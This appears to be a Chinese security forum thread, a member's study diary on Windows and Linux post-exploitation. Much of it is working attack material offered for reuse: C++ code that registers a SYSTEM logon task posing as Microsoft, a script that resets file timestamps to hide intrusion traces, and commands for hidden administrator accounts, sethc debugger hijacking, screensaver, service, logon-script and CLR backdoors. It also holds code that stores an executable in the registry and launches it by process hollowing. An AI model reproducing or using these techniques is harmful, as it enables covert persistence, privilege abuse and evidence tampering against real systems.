安全矩阵

 找回密码
 立即注册
搜索
楼主: CDxiaodong

程栋的学习日记

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-11 20:15:52 | 显示全部楼层
00计划任务权限维持--(复现)

借鉴:https://mp.weixin.qq.com/s?__biz ... b5231d972b990ef9#rd

计划任务可以在计算机管理 -> 任务计划程序 -> 任务计划程序库中能够看到

![image-20211211101427269](image-20211211101427269.png)

计划任务设置之后,就可以定时去执行计划任务设置的任务,那么这里我们不禁又想,能不能每次被控电脑启动的时候添加一个自启木马的计划任务来达到权限维持的作用呢?当然可以,但是这里我们能够想到通过计划任务进行权限维持,杀软肯定也早早知道了计划任务的这个功能。

传统的cs中的计划任务权限维持早已被各类杀软查杀特征



我们先来分析一下计划任务的相关操作,找寻对应的控制台命令端接口

我们随便打开一个计划任务来看一下,主要是有常规、触发器、操作、条件、设置几个菜单,但是这里的接口并不是按照这几个选项来命名的,这里一开始准备按照接口去找导致卡了半天

![image-20211211101826687](image-20211211101826687.png)

值得一提的是发现了“不管用户是否登录都要运行这个窗口”

还有“使用最高权限运行”,这对权限维持帮助很大

首先找到注册信息接口,对应的是`IRegistrationInfo interface`即注册信息接口(这里没有英翻搞得我很难受),在这个接口下需要设置两个属性,一个是`IRegistrationInfo::get_Author`,另外一个则是`IRegistrationInfo::get_Description`,前面属性对应的是创建者,后面属性对应的是计划任务程序的描述

再就是`ITaskDefinition interface`即计划定义接口,这个接口主要是定义计划任务有哪几个组件,就是我们上面看到的诸如任务设置、触发器、注册信息等等,这个接口里面需要用到的有`ITaskDefinition::get_Settings`、`ITaskDefinition::get_Actions`、`ITaskDefinition::get_Triggers`,分别对应获取计划任务设置、计划任务组件、设置启动任务触发器的集合

`ITriggerCollection interface`为触发器收集接口,主要用到的属性有`ITriggerCollection::Create`,创建计划任务的触发器

`ITrigger interface`为触发器接口,用到的属性有`ITrigger::put_Id`、`ITrigger::get_StartBoundary`、`ITrigger::put_EndBoundary`,分别用来设置触发器的标识符、设置触发器的日期和时间、设置停用触发器的时间

`IExecAction interface`为命令行动作接口,主要用到`IExecAction::put_Path`、`IExecAction::put_Arguments`来设置可执行文件的路径以及和命令行关联的参数

详细实现过程可以参考上面的网址

完整代码如下:

```c++
BOOL Tasksch(LPWSTR wszTaskName,LPWSTR FilePath)
{
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (FAILED(hr))
    {
        printf("[!] CoInitializeEx failed, error is : %x", hr);
        return 1;
    }
    printf("
  • CoInitializeEx successfully!\n\n");

        hr = CoInitializeSecurity(NULL,-1,NULL,NULL,RPC_C_AUTHN_LEVEL_PKT_PRIVACY,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,0,NULL);


        ITaskService* pService = NULL;
        hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);

        hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());

        ITaskFolder* pRootFolder = NULL;
        hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);

        pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

        ITaskDefinition* pTask = NULL;
        hr = pService->NewTask(0, &pTask);

        pService->Release();  

        IRegistrationInfo* pRegInfo = NULL;
        hr = pTask->get_RegistrationInfo(&pRegInfo);
        hr = pRegInfo->put_Author(L"Microsoft");   

        ITaskSettings* pSettings = NULL;
        hr = pTask->get_Settings(&pSettings);

        hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
        pSettings->Release();

        ITriggerCollection* pTriggerCollection = NULL;
        hr = pTask->get_Triggers(&pTriggerCollection);

        ITrigger* pTrigger = NULL;
        hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);     
        pTriggerCollection->Release();

        ILogonTrigger* pLogonTrigger = NULL;
        hr = pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);

        pTrigger->Release();

        hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));



        IActionCollection* pActionCollection = NULL;
        hr = pTask->get_Actions(&pActionCollection);
        IAction* pAction = NULL;
        hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);         //触发程序执行:TASK_ACTION_EXEC
        IExecAction* pExecAction = NULL;
        hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);


        hr = pExecAction->put_Path(_bstr_t(FilePath));
        pExecAction->Release();

        if (FAILED(hr))
        {
            printf("[!] Set put_path failed, error is : %x", hr);
            pRootFolder->Release();
            pTask->Release();
            CoUninitialize();
            return 1;
        }

        printf("
  • Set put_path successfully!\n\n");

        IRegisteredTask* pRegisteredTask = NULL;

        hr = pRootFolder->RegisterTaskDefinition(
            _bstr_t(wszTaskName),
            pTask,
            TASK_CREATE_OR_UPDATE,  // 创建并覆盖现有的计划任务

            _variant_t(L"system"),
            _variant_t(),
            TASK_LOGON_GROUP, //组激活
            _variant_t(L""),
            &pRegisteredTask);

        if (FAILED(hr))
        {
            printf("[!] Create Task failed, error is : %x\n\n", hr);
            pRootFolder->Release();
            pTask->Release();
            CoUninitialize();
            return 1;
        }

        printf("
  • Create Task successfully!\n\n");

        pRootFolder->Release();
        pTask->Release();
        pRegisteredTask->Release();
        CoUninitialize();
    }
    ```

    ![图片](640.gif)

  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2021-12-21 16:52:27 | 显示全部楼层
    打通linux后clear痕迹神器

    参考链接:

    https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd



    全部代码如下:

    需要的可拿去用



    #!/bin/bash
    if [ $# -eq 0 ];then
       echo “Use asave (-s) or restore (-r) parameter.”
       exit 1
    fi
    if [ $1 ="-s" ] ; then
       rm -f timestamps;
       ls -l | sed -n 's/^.*Jan/01/p;s/^.*Feb/02/p;s/^.*Mar/03/p;s/^.*Apr/04/p;s/^.*May/05/p;s/^.*Jun/06/p;s/^.*Jul/07/p;s/^.*Aug/08/p;s/^.*Sep/09/p;s/^.*Oct/10/p;s/^.*Nov/11/p;s/^.*Dec/12/p;'
    fi
    if $1 = "-r" ; then
    fi
    cat timestamps |while read line
    do
       MONTH=$(echo $line | cut -f1 -d\ );
       DAY=$(echo $line| cut -f2 -d\ );
       FILENAME=$(echo $line | cut -f4 -d\ );
       YEAR=$(echo $line | cut -f3 -d\ )
       CURRENTYEAR=$(cal | head -1 | cut -f6- -d\ | sed 's/ //g')
          if [ $YEAR == *:* ]; then
          touch -d $CURRENTYEAR-$MONTH-$DAY\ $YEAR:00 $FILENAME;
          else
          touch -d ""$YEAR-$MONTH-$DAY"" $FILENAME;
          fi
    done
    fi
    #/timestamps.sh –s   保存文件时间戳
    #touch -d “2050-10-12 10:00:00″ *   修改目录下的所有文件时间戳
    #ls –a   确认修改的文件
    #./timestamps.sh –r   恢复文件原始时间戳
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2021-12-22 16:25:36 | 显示全部楼层
    做个总结,不然忘了这些工具都是干啥的

    ![image-20211222160126232](image-20211222160126232.png)



    sockscap64,和proxifier一样,个人感觉更好用一点



    sharp内网综合工具包。和打web一样

    ![image-20211222162207373](image-20211222162207373.png)



    sharpstrike

    是一款基于C#开发的后渗透工具,该工具可以使用CIM或WMI来查询远程系统。除此之外,该工具还可以使用研究人员提供的凭证信息或使用当前的用户会话。帮助广大研究人员收集关于目标远程系统的数据、执行命令以及提取数据等等。该工具允许使用WMI或CIM来跟远程系统进行连接,而CIM的使用则需要我们获取到目标系统的管理员权限。



    kerbrute ---域控账号密码爆破

    ./kerbrute.exe userenum *--domain domainkang-8.com --dc 2008R2 usernames.txt*



    adfind  域内信息查询

    AdFind.exe [switches]  [-b basedn]  [-f filter]  [attr list]



    fscan   内网端口,服务啥的综合扫描



    proxifier  代理



    kekeo  定位有漏洞的域控



    nopac  CVE-2021-42287/CVE-2021-42278漏洞

    拿到域一个机器可直接攻击域控拿域控权限





    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2021-12-25 17:59:27 | 显示全部楼层
    # 熟悉注册表渗透权限维持()

    注册表对于权限维持有很大用处。

    搁置了很久。一直想写个总结方便以后使用

    先看看注册表的自启动项

    ## 一、注册表自启动项

    自启动项地址C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

    `MSF`的`Persistence`模块利用的就是写注册表自启动项来实现的,一般自启动项是这两个键:`Run`和`RunOnce`,两者的区别如下

    1. Run:该项下的键值即为开机启动项,每一次随着开机而启动。
    2. RunOnce:RunOnce和Run差不多,唯一的区别就是RunOnce的键值只作用一次,执行完毕后就会自动删除

    常见注册表启动项键的位置:

    用户级

    ```bash
    \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

    ```

    系统级

    ```bash
    \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
    \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

    ```

    ![image-20211225134255543](E:/typora%E5%9B%BE%E7%89%87/image-20211225134255543.png)

    在这里添加可执行文件既能自启动。后面加个 -hide 还能躲在任务栏里启动

    添加格式  下面各个利用姿势里面有写。 模板套一下就行

    ## 二、下面再介绍win自带113个可执行白名单远控免杀软件

    有多种配合方式

    可以通过劫持白名单程序注入载荷或dll劫持+软件隐身术+自启动进行免杀维持

    113个可执行白名单文件如下:

    :Rundll32.exe、Msiexec.exe、MSBuild.exe、InstallUtil.exe、Mshta.exe、Regsvr32.exe、Cmstp.exe、CScript.exe、WScript.exe、Forfiles.exe、te.exe、Odbcconf.exe、InfDefaultInstall.exe、Diskshadow.exe、PsExec.exe、Msdeploy.exe、Winword.exe、Regasm.exe、Regsvcs.exe、Ftp.exe、pubprn.vbs、winrm.vbs、slmgr.vbs、Xwizard.exe、Compiler.exe、IEExec.exe、MavInject32、Presentationhost.exe、Wmic.exe、Pcalua.exe、Url.dll、zipfldr.dll、Syncappvpublishingserver.vbs等等

    参考链接:https://blog.csdn.net/shuteer_xu/article/details/106346101

    ## 三、现在从多方面讲讲注册表的利用之处

    **1.利用注册表隐藏用户(影子账户)**



    ①使用如下命令创建隐藏用户并加入管理员组

    ```
    net user test$ 123456 /add
    net localgroup administrators test$ /add
    ```

    创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。

    ![image-20211225133242946](E:/typora%E5%9B%BE%E7%89%87/image-20211225133242946-16404257542643.png)



    ②打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)

    修改SAM权限,赋予adminitrators完全控制权限。

    ![image-20211225133011115](E:/typora%E5%9B%BE%E7%89%87/image-20211225133011115-16404257565114.png)

    ③将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404257577835.webp)


    ![image-20211225133334128](E:/typora%E5%9B%BE%E7%89%87/image-20211225133334128-16404257591856.png)

    ⑤将test$和所对应项000003F1导出,分别命名为test.reg和1.reg

    ![image-20211225133429589](E:/typora%E5%9B%BE%E7%89%87/image-20211225133429589-16404257608907.png)

    ![image-20211225133438148](E:/typora%E5%9B%BE%E7%89%87/image-20211225133438148.png)

    ⑤删除test$用户,将test.reg和1.reg导入注册表

    ```
    net user test$ /del

    regedit /s test.reg

    regedit /s 1.reg
    ```

    ![image-20211225133505704](E:/typora%E5%9B%BE%E7%89%87/image-20211225133505704.png)

    ⑥此时在用户组已经看不到test$用户,只能在注册表中能看到。

    ![image-20211225133527553](E:/typora%E5%9B%BE%E7%89%87/image-20211225133527553-16404257665269.png)

    2.**logon scripts后门**

    Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

    ###### **演示:**

    注册表位置:HKEY_CURRENT_USER\Environment

    ```
    REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe"   #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
    ```

    ![image-20211225133825608](E:/typora%E5%9B%BE%E7%89%87/image-20211225133825608.png)

    重启,即可上线。

    **3.映像劫持**

    “映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

    ###### **演示:**

    注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

    在此注册表位置添加项sethc.exe(配合sethc指代键),添加debugger键的值为c:\windows\system32\cmd.exe

    ```
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f


    ```

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640.webp)

    此时点击五次shift键会打开cmd。

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404251409552.webp)



    #### ④注册表自启动后门(开头有讲,这里作为补充)

    还有这个位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

    修改键Userinit的值,重启就会自动运行程序。

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404257352481.webp)

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404257367962.webp)

    #### ⑤**屏幕保护程序后门**

    屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

    ###### **演示:**

    注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop

    ```
    SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。ScreenSaveActive表示屏保状态,1为启动,0为关闭。ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。
    ```

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-164042577954510.webp)

    修改SCRASAVE.EXE的值为后门程序路径,等待屏保时间自动运行。

    ```
    reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\666.exe" /f
    ```

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404251510935.webp)

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404251489924.webp)

    #### ⑥.**计划任务后门**

    schtasks命令设定计划自动启动后门程序。

    ```
    schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5  #每5分钟自动执行666.exe
    ```

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404251548426.webp)

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404251560987.webp)

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404251577068.webp)

    #### ⑦.**服务自启动后门**

    自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

    ###### **演示:**

    ```
    sc create test binpath= c:\666.exe    (注意等号后面有空格)#创建服务sc config test start= auto    #设置服务为自动启动net start test                #启动服务
    ```

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-16404251593459.webp)

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-164042516084310.webp)

    **⑧CLR劫持**

    CLR全称Common Language Runtime,中文名称为公共语言运行时。CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行。可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。

    1.修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\

    ```
    REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /FREG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F
    ```

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-164042516271211.webp)

    2.配置全局环境变量,不然只在当前cmd窗口劫持.net程序,然后直接执行powershell即可上线。

    ```
    SETX COR_ENABLE_PROFILING 1 /MSETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M
    ```

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-164042516440612.webp)

    ![图片](E:/typora%E5%9B%BE%E7%89%87/640-164042516596913.webp)

    **三**中方法是通过参考链接:https://mp.weixin.qq.com/s/cAjdbHfNc4Kh68zzwTfJgA

    这个链接的参考链接是:

    1.https://www.jianshu.com/p/4936da524040
    2.https://hackergu.com/power-clr-thief/
    3.https://cloud.tencent.com/developer/article/1850726
    4.https://xz.aliyun.com/t/6461
    5.https://cloud.tencent.com/developer/article/178286



    ## 四:恶意软件隐身术

    把可执行文件隐藏在注册表里

    一个并不多见的恶意软件编写技术:把可执行代码隐藏在windows注册表里。这个技术需要我们把可执行文件的一部分或者入口写进注册表里,然后加载并执行它。这种技术意在隐藏二进制文件潜在的恶意功能,取而代之的是分散在windows注册表里的键值,最终使得恶意二进制文件难以被检测。实际上,键值里的可执行代码被加载的时候,会进行随机次数的编码(重编码),使得特征码扫描更加困难。好的检测策略是监控进程加载数据过程,而不是扫描注册表。

    # 恶意软件隐身术:把可执行文件隐藏在注册表里

    本文主要描述了一个并不多见的恶意软件编写技术:把可执行代码隐藏在windows注册表里。这个技术需要我们把可执行文件的一部分或者入口写进注册表里,然后加载并执行它。这种技术意在隐藏二进制文件潜在的恶意功能,取而代之的是分散在windows注册表里的键值,最终使得恶意二进制文件难以被检测。实际上,键值里的可执行代码被加载的时候,会进行随机次数的编码(重编码),使得特征码扫描更加困难。好的检测策略是监控进程加载数据过程,而不是扫描注册表。

    ### 0x00 存储文件到注册表

    * * *

    第一步涉及到把文件导入注册表,文件将被分割多个小部分,并写入到注册表键值中。接下来文件将被提取、重组,最终在一傀儡进程里得以执行。有多个方法实现这一过程。注册表有多种不同的键值类型,足以存储多种格式的数据,包括物理二进制数据、32/64位数值、字符串。实际操作中,文件将被BASE64编码以字符串(`REG_SZ`)形式被存入注册表。

    ![image-20211225143153818](E:/typora%E5%9B%BE%E7%89%87/image-20211225143153818.png)

    把数据导入到注册表中非常简单。首先通过`RegCreateKeyEx`打开键值句柄,`RegCreateKeyEx`的功能是打开一个存在的键值句柄或者创建一个键值句柄,然后通过`RegGetValue and RegSetValueEx`来进行读取和写入操作。具体操作参见以下代码:

    ```
    const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)
    {
    HKEY hKey = nullptr;
    DWORD dwResult = 0;

    LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,
        nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,
        nullptr, &hKey, &dwResult);

    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not create/open registry key. Error = %X\n",
            lRet);
        exit(-1);
    }

    if (bCreate && dwResult == REG_CREATED_NEW_KEY)
    {
        fprintf(stdout, "Created new registry key.\n");
    }
    else
    {
        fprintf(stdout, "Opened existing registry key.\n");
    }

    return hKey;
    }

    void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,
    const BYTE *pBytes, const DWORD dwSize)
    {
    std::string strEncodedData = base64_encode(pBytes, dwSize);

    LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());
    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not write registry value. Error = %X\n",
            lRet);
        exit(-1);
    }
    }
    const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,
    const char * const strValueName, bool &bErrorOccured)
    {
    DWORD dwType = 0;
    const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;
    DWORD dwReadSize = dwMaxReadSize;

    char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };
    LONG lRet = RegGetValueA(HKEY_CURRENT_USER,
    strKeyName, strValueName,
        RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);
    std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };
    std::string strDecoded = base64_decode(std::string(strBytesEncoded));
    (void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());

    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not read registry value. Error = %X\n",
            lRet);
        bErrorOccured = true;
    }
    if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))
    {
        fprintf(stderr, "Did not correctly read back a string from the registry.\n");
        bErrorOccured = true;
    }
    return pBytes;
    }

    ```

    这基本是把文件导入到注册表的所有操作了。另外限于篇幅,还有一些额外的细节并没有在上述代码中展示出来,比如把文件分割成小部分写进不同的键值里,这部分代码如下:

    ```
    void WriteFileToRegistry(const char * const pFilePath)
    {
    HKEY hKey = OpenRegistryKey("RegistryTest");
    std::string strSubName = "Part";
    std::string strSizeName = "Size";
    size_t ulIndex = 1;

    auto splitFile = SplitFile(pFilePath);
    for (size_t i = 0; i < splitFile.size(); ++i)
    {
        std::string strFullName(strSubName + std::to_string(ulIndex));

        WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile.data(), READ_WRITE_SIZE);
        ++ulIndex;
    }
    CloseHandle(hKey);
    }

    ```

    示例代码中第一级键是在HKCU\RegistryTest下面,可执行文件被分割成多个块儿,每个块儿大小为2048字节,然后进行BASE64编码,以键值名“Part1”, “Part2”, … “PartN”的形式写入注册表里。执行上述代码后,



    通过BASE64解码可以快速验证键值里面的内容是否正确,“Part1”键值内容被解码后输出如下内容(修剪过),可以看到PE文件头。

    ```
    MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]
    [0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]
    [14][31][186][14][0][180][9][205]![184][2]L[205]!This program cannot be run in DOS mode.[13][13]
    [10]$[0][0][0][0][0][0][0][181]!:

    ```

    这个时候文件已经被保存在注册表里了,同时可以从磁盘里删除了。

    ### 0x01 从注册表中提取文件

    * * *

    此时,文件被分割成多个小块并保存在注册表里。提取文件无非与第一节相反,读取存储文件的键值的每一部分、进行BASE64解码、合并文件。示例代码如下:

    ```
    NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)
    {
    NewProcessInfo newProcessInfo = { 0 };
    std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;

    size_t ulKeyIndex = 1;
    std::string strFullName(strValueName + std::to_string(ulKeyIndex));

    bool bErrorOccured = false;
    auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);

    while (!bErrorOccured)
    {
        splitFile.push_back(partFile);

        ++ulKeyIndex;
        strFullName = strValueName + std::to_string(ulKeyIndex);

        partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
    }

    newProcessInfo.pFileData = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);
    memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);

    size_t ulWriteIndex = 0;
    for (auto &split : splitFile)
    {
        (void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),
            READ_WRITE_SIZE);
        ++ulWriteIndex;
    }

    newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);
    newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);

    return newProcessInfo;
    }

    ```

    这里上一节定义的`ReadRegistryKeyString`函数被用来提取文件的各个部分,然后把各个部分重新组、合并,存在`newProcessInfo.pFileData.`这个结构体里。这里还有些额外的区域需要被初始化,比如PE DOS and NT headers,这对下节将会非常有用。

    加载提取后的文件 此时文件已经从注册表里提取出来了,并且保存在内存缓冲空间里。如果这时候我们把数据写进磁盘来启动进程,这就本末倒置了,因为文件又回到了磁盘里。这里我们采用替换进程(详见[http://www.codereversing.com/blog/archives/65](http://www.codereversing.com/blog/archives/65))的方法来加载我们的可执行文件。接下来我们挂载一个僵尸进程(备注:随便打开一个进程),在它还没有映射内存的时候,使他处于暂停状态。然后我们把我们从注册表里提取的文件按字节映射到该进程里,然后再让进程继续运行,代码如下:

    ```
    void ExecuteFileFromRegistry(const char * const pValueName)
    {
    HKEY hKey = OpenRegistryKey("RegistryTest");

    auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
    auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
    RunTargetProcess(newProcessInfo, processInfo);

    CloseHandle(hKey);
    }

    ```

    `MapTargetProcess and RunTargetProcess`这两个函数代码这里并没有贴出来,因为他们基本是我从我2011年写的文章里拷贝过来的。这里我提出一点需要注意的地方,本文描素的技术的适用条件是:傀儡进程以及我们需要执行的文件都是基于X86的,并且编译时要禁用`DEP/ASLR`。

    这里`dummyprocess.exe`(包含在文章尾的ZIP里)的进程已被掏空,被另一个进程替换——`replacementprocess.exe`(也包括在zip)。ZIP里包有一个“Sample”文件夹,以提供交互实例。演示时按以下步骤操作:

    **运行`dummyprocess.exe`观察那是一个Win32 UI的应用程序。**

    **运行`write.bat`,他会调用`filelesslauncher.exe`把`replacementprocess.exe`写在`HKCU \\ registrytest`下。**

    **删除`replacementprocess.exe`。**

    **运行`execute.bat`,它将调用`filelesslauncher.exe`读取`HKCU \\ registrytest`下的内容并重组`replacementprocess.exe`。然后用`ReplacementProcess.exe`的数据来替`dummyprocess.exe`的内存数据。进程将继续运行,然后会弹出一个消息框弹,这是`replacementprocess.exe`代码被执行后的效果。**

    最后请清理一下注册表。

    ### 0x02 总结以及代码

    * * *

    本文所提供的技术展示了如何把一个可执行文件存储在注册表里。在对抗这种技术方面有很多选择。比如:某种程度上被写入的代码要被重组,这就意味着某个地方会出现恶意文件的硬编码或者从注册表提取文件的配置说明。这些都可以用来标记恶意软件的特征。另外,既然采用进程替换技术,也可以利用该技术的弱点来检测。比如,对比傀儡进程的内存镜像和磁盘镜像,一定会有很多不同。通过动态分析,也可以快速找出恶意软件:监控注册表API函数的调用以及检查是否调用了NtUnmapViewOfSection函数,来作为一个标记。

    参考链接:代码更新 请关注Twitter:[https://twitter.com/codereversing](https://twitter.com/codereversing)



    ## 五:Powershell注册表操作和powershell操作注册表权限

    ### 0x00Powershell注册表操作

    #注册表操作命令

    ```bash
    Get-PSProvider          获取安装的提供程序列表

    Dir, Get-ChildItem  列出键的内容

    Cd, Set-Location    更改当前(键)目录

    HKCU:, HKLM:            预定义的两个重要注册表根目录虚拟驱动器

    Get-ItemProperty    读取键的值

    Set-ItemProperty    设置键的值

    New-ItemProperty    给键创建一个新值

    Clear-ItemProperty  删除键的值内容

    Remove-ItemProperty     删除键的值

    New-Item, md            创建一个新键

    Remove-Item, Del    删除一个键

    Test-Path           验证键是否存在

    Get-PSDrive -PSProvider Registry    查看那些注册表驱动器已经被注册表提供程序使用

    New-PSDrive job1 registry "HKLM:\Software\Microsoft\Windows NT\CurrentVersion"
    dir job1:                        自由地创建任何额外的驱动器

    ```

    ### 0x01powershell操作注册表权限

    #

    ```bash
    Get-Acl            

    ```

    查看键的当前权限

    ```bash
    $acl = Get-Acl HKCU:\Software\Testkey
    $acl.Owner
    mosser
    $me = [System.Security.Principal.NTAccount]"$env:userdomain\$env:username"
    $acl.SetOwner($me)        

    ```

    接管一个注册表键(先有权限访问)的所有权限

    ```bash
    del HKCU:\Software\Testkey2
    md HKCU:\Software\Testkey2
    $acl = Get-Acl HKCU:\Software\Testkey2
    $person = [System.Security.Principal.NTAccount]"Administrators"
    $access = [System.Security.AccessControl.RegistryRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]`
    "ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
    $person,$access,$inheritance,$propagation,$type)

    $acl.ResetAccessRule($rule)
    $person = [System.Security.Principal.NTAccount]"Everyone"
    $access = [System.Security.AccessControl.RegistryRights]"ReadKey"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]`
    "ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
